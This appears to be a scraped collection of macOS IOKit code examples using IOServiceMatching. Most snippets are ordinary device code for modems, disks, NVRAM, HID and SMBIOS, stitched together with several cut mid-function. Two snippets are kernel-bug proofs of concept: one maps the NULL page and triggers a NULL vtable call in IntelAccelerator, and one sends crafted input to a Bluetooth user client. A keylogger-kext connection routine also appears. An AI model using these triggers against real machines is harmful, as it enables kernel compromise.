int getPstateInterval(){
	int interval = 200; // default
	io_service_t	IOService  = IOServiceGetMatchingService(0, IOServiceMatching(SERVICE_NAME));
	if ( IOService ){
		CFDictionaryRef CDictionary = (CFDictionaryRef) IORegistryEntryCreateCFProperty(IOService,					
				CFSTR("Characteristics"),kCFAllocatorDefault,0);
		if(CDictionary){
			int n = GetNumber(CFSTR("TimerInterval"), CDictionary);
			if(n)
				interval = n;
		}
		CFRelease(CDictionary);
	}
	return interval;
}
int main(){
  // re map the null page rw

  vm_deallocate(mach_task_self(), 0x0, 0x1000);
  vm_address_t addr = 0;
  vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  kern_return_t err;
  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if (!matching){
    printf("unable to create matching dictionary\n");
    return 0;
  }

  io_service_t ia_service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  if (ia_service == MACH_PORT_NULL){
    printf("unable to get matching service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(ia_service, mach_task_self(), 0x100, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to open user client\n");
    return 0;
  }

  void* token_buf;
  size_t token_buf_size = 0;

  // kernel NULL deref here in IOAccelContext2::clientMemoryForType
  // mov rdi, [r12+1D8h]      ; rdi := NULL
  // mov rax, [rdi]           ; read vtable pointer from NULL
  // call qword ptr [rax+20h] ; controlled call
  err = IOConnectMapMemory(conn, 0, mach_task_self(), &token_buf, &token_buf_size, 1);
  if (err != KERN_SUCCESS){
    printf("unable to map token buffer\n");
    return 0;
  }

  printf("got token buffer: 0x%p size:0x%x\n", token_buf, token_buf_size);

  return 0;
}
Example #3
0
static int find_cd_block_devices(io_iterator_t *device_iterator)
{
	mach_port_t master_port;
	CFMutableDictionaryRef matching_dictionary;

	if (IOMasterPort(MACH_PORT_NULL, &master_port) != KERN_SUCCESS)
		return 0;

	matching_dictionary = IOServiceMatching(kIOCDBlockStorageDeviceClass);

	if (IOServiceGetMatchingServices(master_port, matching_dictionary,
					 device_iterator) != KERN_SUCCESS)
		return 0;
	else
		return 1;
}
/* This function performs initialization work to ensure that the connection to
 * the service performing keyboard LED modifications is open. It modifies the
 * io_connect_t connect used throughout the implementation.
 *
 *  UPDATE
 * Renamed by Flávio Caetano in 2015-06-24
 */
void KBLStartLightService() {
  if (conn != 0) return;
    
  kern_return_t kr;
  io_service_t serviceObject;

  // Find a service object for the controller.
  serviceObject = IOServiceGetMatchingService(kIOMasterPortDefault,
    IOServiceMatching("AppleLMUController"));

  // Check a matching service object was found
  if (!serviceObject) {
    fprintf(stderr, "Failed to find service matching \"AppleLMUController\".\
        Ending program.");
    exit(1);
  }
static kern_return_t FindModems(io_iterator_t *matchingServices)
{
    kern_return_t     kernResult; 
    CFMutableDictionaryRef  classesToMatch;
    classesToMatch = IOServiceMatching(kIOSerialBSDServiceValue);
    if (classesToMatch != NULL)
    {
        CFDictionarySetValue(classesToMatch,
                             CFSTR(kIOSerialBSDTypeKey),
                             CFSTR(kIOSerialBSDAllTypes));
    }
    
    kernResult = IOServiceGetMatchingServices(kIOMasterPortDefault, classesToMatch, matchingServices);    
    
    return kernResult;
}
Example #6
0
int applydict(CFMutableDictionaryRef dict) {
    int ret = 1;

    io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
    if(!MACH_PORT_VALID(nvram)) {
        ERROR("Failed to get IODTNVRAM service");
    } else {
        kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);
        DEBUG("IORegistryEntrySetCFProperties: 0x%x (%s)\n", kret, mach_error_string(kret));
        if(kret == KERN_SUCCESS) {
            ret = 0;
        }
    }

    return ret;
}
Example #7
0
static UInt32 execute_command(UInt32 command, UInt32 vendorId, UInt32 codecAddress, UInt32 functionGroup)
{
    io_connect_t dataPort;
    
    CFMutableDictionaryRef dict = IOServiceMatching("CodecCommander");

    //REVIEW_REHABMAN: These extra filters don't work anyway...
    //CFNumberRef vendorIdRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &vendorId);
    //CFDictionarySetValue(dict, CFSTR("IOHDACodecVendorID"), vendorIdRef);
    
    //CFNumberRef codecAddressRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &codecAddress);
    //CFDictionarySetValue(dict, CFSTR("IOHDACodecAddress"), codecAddressRef);
    
    //CFNumberRef functionGroupRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &functionGroup);
    //CFDictionarySetValue(dict, CFSTR("IOHDACodecFunctionGroupType"), functionGroupRef);
    
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, dict);
    
    if (!service)
    {
        printf("Could not locate CodecCommander kext, ensure it is loaded.\n");
        return -1;
    }
    
    // Create a connection to the IOService object
    kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &dataPort);
    
    IOObjectRelease(service);
    
    if (kr != kIOReturnSuccess)
    {
        printf("Failed to open CodecCommander service: %08x.\n", kr);
        return -1;
    }
    
    IOItemCount inputCount = 1;
    IOItemCount outputCount = 1;
    UInt64 input = command;
    UInt64 output;
    
    kr = IOConnectCallScalarMethod(dataPort, 0, &input, inputCount, &output, &outputCount);
    
    if (kr != kIOReturnSuccess)
        return -1;
    
    return (UInt32)output;
}
Example #8
0
File: fwext.c Project: iZsh/rubyfw
// Scan the FW bus and enumerate the devices
static VALUE scanbus()
{
  VALUE ret = rb_ary_new();
  
  mach_port_t master_port;
  io_iterator_t iterator;
  kern_return_t result = IOMasterPort(MACH_PORT_NULL, &master_port);
  CFMutableDictionaryRef matchingDictionary = IOServiceMatching("IOFireWireDevice");
  result = IOServiceGetMatchingServices(master_port, matchingDictionary, &iterator);
  
  io_object_t device;
  while((device = IOIteratorNext(iterator)))
  {
    CFNumberRef guidRef = IORegistryEntryCreateCFProperty(device, CFSTR("GUID"), NULL, 0);
    CFStringRef vendornameRef = IORegistryEntryCreateCFProperty(device, CFSTR("FireWire Vendor Name"), NULL, 0);
    CFNumberRef speedRef = IORegistryEntryCreateCFProperty(device, CFSTR("FireWire Speed"), NULL, 0);
    CFNumberRef nodeidRef = IORegistryEntryCreateCFProperty(device, CFSTR("FireWire Node ID"), NULL, 0);
    CFNumberRef vendoridRef = IORegistryEntryCreateCFProperty(device, CFSTR("Vendor_ID"), NULL, 0);

    CFIndex vendorname_len = CFStringGetLength(vendornameRef);
    char *vendorname = (char*)malloc(vendorname_len + 1);
    memset(vendorname, 0, vendorname_len);
    long long guid;
    SInt32 speed, vendorid, nodeid;
    if(guidRef
      && CFNumberGetValue(guidRef, kCFNumberLongLongType, &guid)
      && vendornameRef
      && CFStringGetCString(vendornameRef, vendorname, vendorname_len + 1, kCFStringEncodingMacRoman)
      && speedRef
      && CFNumberGetValue(speedRef, kCFNumberSInt32Type, &speed)
      && nodeidRef
      && CFNumberGetValue(nodeidRef, kCFNumberSInt32Type, &nodeid)
      && vendoridRef
      && CFNumberGetValue(vendoridRef, kCFNumberSInt32Type, &vendorid)
      )
    {
      VALUE fwdevice = FWDevice_new(device, guid, vendorname, vendorid, nodeid, speed);
      rb_ary_push(ret, fwdevice);
      CFRelease(guidRef);
      CFRelease(vendornameRef);
      CFRelease(speedRef);
      CFRelease(nodeidRef);
      CFRelease(vendoridRef);
    }
  }
  return ret;
}
static int iokit_find_service_matching (MMCDEV *mmc, io_service_t *servp) {
    CFMutableDictionaryRef matchingDict = IOServiceMatching("IOBDServices");
    io_iterator_t deviceIterator;
    io_service_t service;
    int rc;

    assert (NULL != servp);

    *servp = 0;

    if (!matchingDict) {
        BD_DEBUG(DBG_MMC, "Could not create a matching dictionary for IOBDServices\n");
        return -1;
    }

    /* this call consumes the reference to the matchingDict. we do not need to release it */
    rc = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &deviceIterator);
    if (kIOReturnSuccess != rc) {
        BD_DEBUG(DBG_MMC, "Could not create device iterator\n");
        return -1;
    }

    while (0 != (service = IOIteratorNext (deviceIterator))) {
        CFStringRef data;
        char name[128] = "";

        data = IORegistryEntrySearchCFProperty (service, kIOServicePlane, CFSTR("BSD Name"),
                                                kCFAllocatorDefault, kIORegistryIterateRecursively);

        if (NULL != data) {
            rc = CFStringGetCString (data, name, sizeof (name), kCFStringEncodingASCII);
            CFRelease (data);
            if (0 == strcmp (name, mmc->bsd_name)) {
                break;
            }
        }

        (void) IOObjectRelease (service);
    }

    IOObjectRelease (deviceIterator);

    *servp = service;

    return (service) ? 0 : -1;
}
Example #10
0
static void *media_poll_func(void *)
{
	media_poll_loop = CFRunLoopGetCurrent();

	mach_port_t masterPort;
	kern_return_t kernResult = IOMasterPort(bootstrap_port, &masterPort);
	if (kernResult != KERN_SUCCESS) {
		fprintf(stderr, "IOMasterPort() returned %d\n", kernResult);
		return NULL;
	}

	CFMutableDictionaryRef matchingDictionary = IOServiceMatching(kIOCDMediaClass);
	if (matchingDictionary == NULL) {
		fprintf(stderr, "IOServiceMatching() returned a NULL dictionary\n");
		return NULL;
	}
	matchingDictionary = (CFMutableDictionaryRef)CFRetain(matchingDictionary);

	IONotificationPortRef notificationPort = IONotificationPortCreate(kIOMasterPortDefault);
	CFRunLoopAddSource(media_poll_loop,
					   IONotificationPortGetRunLoopSource(notificationPort),
					   kCFRunLoopDefaultMode);

	io_iterator_t mediaArrivedIterator;
	kernResult = IOServiceAddMatchingNotification(notificationPort,
												  kIOMatchedNotification,
												  matchingDictionary,
												  (IOServiceMatchingCallback)media_arrived,
												  (void *)MEDIA_CD, &mediaArrivedIterator);
	if (kernResult != KERN_SUCCESS)
		fprintf(stderr, "IOServiceAddMatchingNotification() returned %d\n", kernResult);
	media_arrived(MEDIA_CD, mediaArrivedIterator);

	io_iterator_t mediaRemovedIterator;
	kernResult = IOServiceAddMatchingNotification(notificationPort,
												  kIOTerminatedNotification,
												  matchingDictionary,
												  (IOServiceMatchingCallback)media_removed,
												  (void *)MEDIA_CD, &mediaRemovedIterator);
	if (kernResult != KERN_SUCCESS)
		fprintf(stderr, "IOServiceAddMatchingNotification() returned %d\n", kernResult);
	media_removed(MEDIA_CD, mediaRemovedIterator);

	CFRunLoopRun();
	return NULL;
}
Example #11
0
UIOHOOK_API long int hook_get_pointer_sensitivity() {
	#ifdef USE_IOKIT
	bool successful = false;
	double sensitivity;
	#endif

	long int value = -1;

	#ifdef USE_IOKIT
	if (!successful) {
		io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(kIOHIDSystemClass));

		if (service) {
			kern_return_t kren_ret = kIOReturnError;
			io_connect_t connection;

			kren_ret = IOServiceOpen(service, mach_task_self(), kIOHIDParamConnectType, &connection);
			if (kren_ret == kIOReturnSuccess) {
				// IOByteCount size = sizeof(multiplier);

				kren_ret = IOHIDGetAccelerationWithKey(connection, CFSTR(kIOHIDMouseAccelerationType), &sensitivity);
				if (kren_ret == kIOReturnSuccess) {
					// Calculate the greatest common factor.

					unsigned long denominator = 1000000, d = denominator;
					unsigned long numerator = sensitivity * denominator, gcf = numerator;

					while (d != 0) {
						unsigned long i = gcf % d;
						gcf = d;
						d = i;
					}

					value = numerator / gcf;
					successful = true;

					logger(LOG_LEVEL_INFO,	"%s [%u]: IOHIDGetAccelerationWithKey: %li.\n",
							__FUNCTION__, __LINE__, value);
				}
			}
		}
	}
	#endif

	return value;
}
Example #12
0
void CreateMatchingDictionaryForOldMethod(SInt32 peripheralDeviceType, CFMutableDictionaryRef *matchingDict)
{
    SInt32		deviceTypeNumber = peripheralDeviceType;
    CFNumberRef	deviceTypeRef = NULL;
    
    // Set up a matching dictionary to search the I/O Registry by class name for
    // all subclasses of IOSCSIDevice.
    *matchingDict = IOServiceMatching(kIOSCSIDeviceClassName);

    if (*matchingDict != NULL)
    {
        // Add key for device type to refine the matching dictionary. 
        // First create a CFNumber to store in the dictionary.
        deviceTypeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &deviceTypeNumber);
        CFDictionarySetValue(*matchingDict, CFSTR(kSCSIPropertyDeviceTypeID), deviceTypeRef);
    }
}
Example #13
0
File: disk.c Project: goodwinos/pcp
int
refresh_disks(struct diskstats *stats, pmdaIndom *indom)
{
    io_registry_entry_t		drive;
    CFMutableDictionaryRef	match;
    int				i, status;
    static int			inited = 0;
    static mach_port_t		mach_master_port;
    static io_iterator_t	mach_device_list;

    if (!inited) {
	/* Get ports and services for device statistics. */
	if (IOMasterPort(bootstrap_port, &mach_master_port)) {
	    fprintf(stderr, "%s: IOMasterPort error\n", __FUNCTION__);
	    return -oserror();
	}
	memset(stats, 0, sizeof(struct diskstats));
	inited = 1;
    }

    /* Get an interator for IOMedia objects (drives). */
    match = IOServiceMatching("IOMedia");
    CFDictionaryAddValue(match, CFSTR(kIOMediaWholeKey), kCFBooleanTrue);
    status = IOServiceGetMatchingServices(mach_master_port,
						match, &mach_device_list);
    if (status != KERN_SUCCESS) {
	    fprintf(stderr, "%s: IOServiceGetMatchingServices error\n",
			__FUNCTION__);
	    return -oserror();
    }

    indom->it_numinst = 0;
    clear_disk_totals(stats);
    for (i = 0; (drive = IOIteratorNext(mach_device_list)) != 0; i++) {
	status = update_disk(stats, drive, i);
	if (status)
		break;
	IOObjectRelease(drive);
    }
    IOIteratorReset(mach_device_list);

    if (!status)
	status = update_disk_indom(stats, i, indom);
    return status;
}
Example #14
0
SCM ambient_light_range(SCM lower_bound, SCM upper_bound)
{
	io_connect_t ioPort;
	int leftLight, rightLight;
	
	io_service_t serviceObject = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleLMUController"));
	
	if (serviceObject)
	{
		IOServiceOpen(serviceObject, mach_task_self(), 0, &ioPort);
		IOObjectRelease(serviceObject);
	}
	
	IOConnectMethodScalarIScalarO(ioPort, 0, 0, 2, &leftLight, &rightLight);
	
	return scm_from_int(((leftLight+rightLight)/4096.0 > scm_to_double(lower_bound)) && 
						((leftLight+rightLight)/4096.0 < scm_to_double(upper_bound)));
}
Example #15
0
io_object_t HIDDevice::findHIDDeviceByName ( const char* targetDeviceName )
{
	CFMutableDictionaryRef subDictionary (
		CFDictionaryCreateMutable ( kCFAllocatorDefault, 0,
                                    &kCFTypeDictionaryKeyCallBacks,
                                    &kCFTypeDictionaryValueCallBacks ) ) ;
	CFStringRef targetDeviceNameValue (
		CFStringCreateWithCString (	kCFAllocatorDefault, targetDeviceName, kCFStringEncodingASCII ) ) ;
	CFDictionarySetValue ( subDictionary, CFSTR ( kIOHIDProductKey ), targetDeviceNameValue ) ;
	
	CFMutableDictionaryRef matchingDictionary ( IOServiceMatching ( kIOHIDDeviceKey ) ) ;
	CFDictionarySetValue ( matchingDictionary, CFSTR ( kIOPropertyMatchKey ), subDictionary ) ;

	CFRelease ( targetDeviceNameValue ) ;
	CFRelease ( subDictionary ) ;
	
	return IOServiceGetMatchingService ( kIOMasterPortDefault, matchingDictionary ) ;
}
Example #16
0
bool find_service(const char *target_name, io_connect_t *ptarget_port) {
  io_iterator_t iter;
  kern_return_t r =
    IOServiceGetMatchingServices(kIOMasterPortDefault,
				 IOServiceMatching("IOService"), &iter);

  if (r != KERN_SUCCESS) {
    fprintf(stderr, " [!] IOServiceGetMatchingServices() failed\n");
    return -1;
  }

  io_object_t service;
  while ((service = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
    /* Get service name */
    io_name_t name;
    r = IORegistryEntryGetName(service, name);
    if (r != KERN_SUCCESS) {
      fprintf(stderr, " [!] IORegistryEntryGetName() failed\n");
      IOObjectRelease(service);
      continue;
    }

    io_string_t path;
    r = IORegistryEntryGetPath(service, "IOService", path);

    /* Try to open service */
    io_connect_t port = (io_connect_t) 0;
    r = IOServiceOpen(service, mach_task_self(), 0, &port);
    IOObjectRelease(service);
    if (r != kIOReturnSuccess) {
      continue;
    }

    if (strstr(name, target_name)) {
      printf(" [+] Found service %s\n", name);
      *ptarget_port = port;
      return true;
    }

    IOServiceClose(port);
  }

  return false;
}
static IOReturn
PrintSMARTDataForAllDrives ( void )
{

    IOReturn error           = kIOReturnSuccess;
    io_iterator_t iter            = MACH_PORT_NULL;
    io_object_t ataDevice       = MACH_PORT_NULL;
    bool foundOne        = false;

    error = IOServiceGetMatchingServices (  kIOMasterPortDefault,
        IOServiceMatching ( kIOATABlockStorageDeviceClass ),
        &iter );

    if ( error == kIOReturnSuccess )
    {
        ataDevice = IOIteratorNext ( iter );

        while ( ataDevice != MACH_PORT_NULL )
        {

            error = PrintSMARTDataForDevice ( ataDevice );
            IOObjectRelease ( ataDevice );
            ataDevice = IOIteratorNext ( iter );

            if ( foundOne == false )
                foundOne = true;

        }

        IOObjectRelease ( iter );
        iter = 0;

    }

    if ( foundOne == false )
    {

        printf ( "No ATA devices found\n" );

    }

    return error;

}
Example #18
0
long idleTime() {
    long idlesecs;
#ifdef LINUX
    bool _idleDetectionPossible;
    XScreenSaverInfo *_mit_info;

    int event_base, error_base;
    if(XScreenSaverQueryExtension(QX11Info::display(), &event_base, &error_base))
        _idleDetectionPossible = true;
    else
        _idleDetectionPossible = false;
    _mit_info = XScreenSaverAllocInfo();

    XScreenSaverQueryInfo(QX11Info::display(), QX11Info::appRootWindow(), _mit_info);

    idlesecs = (_mit_info->idle/1000);

#endif
#ifdef WINDOWS

    LASTINPUTINFO lif;
    lif.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&lif);
    DWORD tickCount = GetTickCount();
    idlesecs = (tickCount - lif.dwTime) / 1000;

#endif
#ifdef MAC
    idlesecs = -1;//int64_t
    io_iterator_t iter = 0;
    if (IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHIDSystem"), &iter) == KERN_SUCCESS) {
        io_registry_entry_t entry = IOIteratorNext(iter);
        if (entry) {
            CFMutableDictionaryRef dict = NULL;
            if (IORegistryEntryCreateCFProperties(entry, &dict, kCFAllocatorDefault, 0) == KERN_SUCCESS) {
                CFNumberRef obj = (CFNumberRef)CFDictionaryGetValue(dict, CFSTR("HIDIdleTime"));
                if (obj) {
                    int64_t nanoseconds = 0;
                    if (CFNumberGetValue(obj, kCFNumberSInt64Type, &nanoseconds)) {
                        idlesecs = (nanoseconds >> 30); // Divide by 10^9 to convert from nanoseconds to seconds.
                    }
                }
                CFRelease(dict);
            }
Example #19
0
bool connectToKext()
{
    mach_port_t		masterPort;
    io_service_t	serviceObject = 0;
    io_iterator_t 	iterator;
    CFDictionaryRef	classToMatch;
	Boolean			result = true;	// assume success
    
    // return the mach port used to initiate communication with IOKit
    if (IOMasterPort(MACH_PORT_NULL, &masterPort) != KERN_SUCCESS)
		return false;
    
    classToMatch = IOServiceMatching( "com_fsb_iokit_logKext" );
    if (!classToMatch)
		return false;

    // create an io_iterator_t of all instances of our driver's class that exist in the IORegistry
    if (IOServiceGetMatchingServices(masterPort, classToMatch, &iterator) != KERN_SUCCESS)
		return false;
			    
    // get the first item in the iterator.
    serviceObject = IOIteratorNext(iterator);
    
    // release the io_iterator_t now that we're done with it.
    IOObjectRelease(iterator);
    
    if (!serviceObject){
		result = false;
		goto bail;
    }
	
	// instantiate the user client
	if(IOServiceOpen(serviceObject, mach_task_self(), 0, &userClient) != KERN_SUCCESS) {
		result = false;
		goto bail;
    }
	
bail:
	if (serviceObject) {
		IOObjectRelease(serviceObject);
	}
	
    return result;
}
Example #20
0
bool DarwinSMBIOSParser::discover() {
    auto matching = IOServiceMatching(kIOSMBIOSClassName_);
    if (matching == nullptr) {
        // No ACPI platform expert service found.
        return false;
    }

    auto service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
    if (service == 0) {
        return false;
    }

    // Unlike ACPI the SMBIOS property will return several structures
    // followed by a table of structured entries (also called tables).
    // http://dmtf.org/sites/default/files/standards/documents/DSP0134_2.8.0.pdf
    CFTypeRef smbios = IORegistryEntryCreateCFProperty(
                           service, CFSTR(kIOSMBIOSPropertyName_), kCFAllocatorDefault, 0);
    if (smbios == nullptr) {
        IOObjectRelease(service);
        return false;
    }

    // Check the first few SMBIOS structures before iterating through tables.
    const uint8_t* smbios_data = CFDataGetBytePtr((CFDataRef)smbios);
    size_t length = CFDataGetLength((CFDataRef)smbios);

    if (smbios_data == nullptr || length == 0) {
        // Problem creating SMBIOS property.
        CFRelease(smbios);
        IOObjectRelease(service);
        return false;
    }

    smbios_data_ = (uint8_t*)malloc(length);
    if (smbios_data_ != nullptr) {
        memcpy(smbios_data_, smbios_data, length);
    }
    IOObjectRelease(service);
    CFRelease(smbios);

    // The property and service exist.
    setData(const_cast<uint8_t*>(smbios_data_), length);
    return (smbios_data_ != nullptr);
}
Example #21
0
int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 1;
  memset(inputStruct, 'A', inputStructCnt);

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  err = IOConnectCallMethod(
    conn,
    21,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  return 0;
}
Example #22
0
int main (int argc, const char * argv[]) {
	CFDataRef data;
	
	io_service_t platformExpert = IOServiceGetMatchingService(kIOMasterPortDefault,
															  IOServiceMatching("IOPlatformExpertDevice"));
	if (platformExpert)
	{
		data = IORegistryEntryCreateCFProperty(platformExpert,
											   CFStringCreateWithCString(
																		 NULL,
																		 "IOPlatformSerialNumber",
																		 kCFStringEncodingUTF8),
											   kCFAllocatorDefault, 0);
	}
	IOObjectRelease(platformExpert);
	CFShow(data);
	return 0;
	
}
Example #23
0
io_service_t
find_a_keyboard(void)
{
    io_service_t result = (io_service_t)0;

    CFNumberRef usagePageRef = (CFNumberRef)0;
    CFNumberRef usageRef = (CFNumberRef)0;
    CFMutableDictionaryRef matchingDictRef = (CFMutableDictionaryRef)0;

    if (!(matchingDictRef = IOServiceMatching(kIOHIDDeviceKey))) {
        return result;
    }

    UInt32 usagePage = kHIDPage_GenericDesktop;
    UInt32 usage = kHIDUsage_GD_Keyboard;

    if (!(usagePageRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType,
                                        &usagePage))) {
        goto out;
    }

    if (!(usageRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType,
                                    &usage))) {
        goto out;
    }

    CFDictionarySetValue(matchingDictRef, CFSTR(kIOHIDPrimaryUsagePageKey),
                         usagePageRef);
    CFDictionarySetValue(matchingDictRef, CFSTR(kIOHIDPrimaryUsageKey),
                         usageRef);

    result = IOServiceGetMatchingService(kIOMasterPortDefault, matchingDictRef);

out:
    if (usageRef) {
        CFRelease(usageRef);
    }
    if (usagePageRef) {
        CFRelease(usagePageRef);
    }

    return result;
}
Example #24
0
//
// BeginPortScan(RS232Only?)
//
// Prepare a list of ports (i.e., that could have a tablet attached)
// The result is stored in the tablet object's serialPortIterator data member
// for use by FindTabletOnPort.
// 
// Once again, thanks be to Apple for the samples.
//
kern_return_t TMSerialPort::BeginPortScan(bool RS232Only) {
	EndPortScan();

	kern_return_t			kernResult;
	mach_port_t				masterPort;
	CFMutableDictionaryRef  classesToMatch;

	//
	// Get the masterPort, whatever that is
	//
	kernResult = IOMasterPort(MACH_PORT_NULL, &masterPort);
	if (KERN_SUCCESS != kernResult) {
		if (output != NULL)
			fprintf(output, "IOMasterPort returned %d\n", kernResult);
		goto exit;
	}

	//
	// Serial devices are instances of class IOSerialBSDClient.
	// Here I search for ports with RS232Type because with my
	// Keyspan USB-Serial adapter the first port shows up
	//
	classesToMatch = IOServiceMatching(kIOSerialBSDServiceValue);
	if (classesToMatch == NULL) {
		if (output != NULL)
			fprintf(output, "No BSD Serial Service?\n");
	}
	else
		CFDictionarySetValue(classesToMatch, CFSTR(kIOSerialBSDTypeKey), RS232Only ? CFSTR(kIOSerialBSDRS232Type) : CFSTR(kIOSerialBSDAllTypes));

	//
	// Find the next matching service
	//
	kernResult = IOServiceGetMatchingServices(masterPort, classesToMatch, &serialPortIterator);
	if (KERN_SUCCESS != kernResult) {
		if (output != NULL)
			fprintf(output, "IOServiceGetMatchingServices returned %d\n", kernResult);
		goto exit;
	}

exit:
	return kernResult;
}
Example #25
0
int InitService(char *IoServiceName)
{
    int                     type;
    io_service_t            service;
    CFMutableDictionaryRef  matching;
    io_iterator_t           iterator;    
    
    printf("InitService: Trying: %s \n", IoServiceName);
    
    matching = IOServiceMatching(IoServiceName);
    
    if( !matching) 
    {
        printf("Initservice: IOServiceMatching() failed \n");
        return -1;
    }
    
    if (IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator) != KERN_SUCCESS) 
    {
        printf("InitService: IOServiceGetMatchingServices failed \n");
        return -1;
    }

   
    service = IOIteratorNext(iterator);
    if (service == IO_OBJECT_NULL) 
    {
        printf("InitService: IOIteratorNext failed \n");
        return -1;
    }
    
    
    type        =   0;
    conn        =   MACH_PORT_NULL;
    if (IOServiceOpen(service, mach_task_self(), 5, &conn) != KERN_SUCCESS) 
    {
        printf("InitService: IOServiceOpen failed! \n");
        return -1;
    }
   
    printf("InitService: service ok! \n");
    return 1;
}
Example #26
0
static kern_return_t MyFindModems(io_iterator_t *matchingServices)
{
    kern_return_t       kernResult;
    mach_port_t         masterPort;
    CFMutableDictionaryRef  classesToMatch;

    kernResult = IOMasterPort(MACH_PORT_NULL, &masterPort);
    if (KERN_SUCCESS != kernResult)
    {
        printf("IOMasterPort returned %d\n", kernResult);
    goto exit;
    }

    // Serial devices are instances of class IOSerialBSDClient.
    classesToMatch = IOServiceMatching(kIOSerialBSDServiceValue);
    if (classesToMatch == NULL)
    {
        printf("IOServiceMatching returned a NULL dictionary.\n");
    }
    else {
        CFDictionarySetValue(classesToMatch,
                             CFSTR(kIOSerialBSDTypeKey),
                             CFSTR(kIOSerialBSDModemType));

        // Each serial device object has a property with key
        // kIOSerialBSDTypeKey and a value that is one of
        // kIOSerialBSDAllTypes, kIOSerialBSDModemType,
        // or kIOSerialBSDRS232Type. You can change the
        // matching dictionary to find other types of serial
        // devices by changing the last parameter in the above call
        // to CFDictionarySetValue.
    }

    kernResult = IOServiceGetMatchingServices(masterPort, classesToMatch, matchingServices);
    if (KERN_SUCCESS != kernResult)
    {
        printf("IOServiceGetMatchingServices returned %d\n", kernResult);
    goto exit;
    }

exit:
    return kernResult;
}
Example #27
0
void InitDetection() {
	kern_return_t kr;

	// Set up the matching criteria for the devices we're interested in. The matching criteria needs to follow
	// the same rules as kernel drivers: mainly it needs to follow the USB Common Class Specification, pp. 6-7.
	// See also Technical Q&A QA1076 "Tips on USB driver matching on Mac OS X"
	// <http://developer.apple.com/qa/qa2001/qa1076.html>.
	// One exception is that you can use the matching dictionary "as is", i.e. without adding any matching
	// criteria to it and it will match every IOUSBDevice in the system. IOServiceAddMatchingNotification will
	// consume this dictionary reference, so there is no need to release it later on.

	// Interested in instances of class
	// IOUSBDevice and its subclasses
	matchingDict = IOServiceMatching(kIOUSBDeviceClassName);

	if (matchingDict == NULL) {
		fprintf(stderr, "IOServiceMatching returned NULL.\n");
	}

	// Create a notification port and add its run loop event source to our run loop
	// This is how async notifications get set up.

	gNotifyPort = IONotificationPortCreate(kIOMasterPortDefault);

	// Now set up a notification to be called when a device is first matched by I/O Kit.
	kr = IOServiceAddMatchingNotification(
			gNotifyPort, // notifyPort
			kIOFirstMatchNotification, // notificationType
			matchingDict, // matching
			DeviceAdded, // callback
			NULL, // refCon
			&gAddedIter // notification
		);

	if (KERN_SUCCESS != kr) {
		printf("IOServiceAddMatchingNotification returned 0x%08x.\n", kr);
	}

	// Iterate once to get already-present devices and arm the notification
	DeviceAdded(NULL, gAddedIter);
	initialDeviceImport = false;
}
Example #28
0
static void HPEstablishPCCardNotification(void)
{
	io_iterator_t deviceAddedIterator;
	io_iterator_t deviceRemovedIterator;
	CFMutableDictionaryRef matchingDictionary;
	IONotificationPortRef notificationPort;
	IOReturn kret;

	notificationPort = IONotificationPortCreate(kIOMasterPortDefault);
	CFRunLoopAddSource(CFRunLoopGetCurrent(),
		IONotificationPortGetRunLoopSource(notificationPort),
		kCFRunLoopDefaultMode);

	matchingDictionary = IOServiceMatching("IOPCCard16Device");
	if (!matchingDictionary)
	{
		Log1(PCSC_LOG_ERROR, "IOServiceMatching() failed");
	}
	matchingDictionary =
		(CFMutableDictionaryRef) CFRetain(matchingDictionary);

	kret = IOServiceAddMatchingNotification(notificationPort,
		kIOMatchedNotification,
		matchingDictionary, HPDeviceAppeared, NULL, &deviceAddedIterator);
	if (kret)
	{
		Log2(PCSC_LOG_ERROR,
			"IOServiceAddMatchingNotification()-1 failed with code %d", kret);
	}
	HPDeviceAppeared(NULL, deviceAddedIterator);

	kret = IOServiceAddMatchingNotification(notificationPort,
		kIOTerminatedNotification,
		matchingDictionary,
		HPDeviceDisappeared, NULL, &deviceRemovedIterator);
	if (kret)
	{
		Log2(PCSC_LOG_ERROR,
			"IOServiceAddMatchingNotification()-2 failed with code %d", kret);
	}
	HPDeviceDisappeared(NULL, deviceRemovedIterator);
}
io_registry_entry_t lookService(uint32_t segment,
                                uint32_t bus, uint32_t device, uint32_t function)
{
    kern_return_t status;
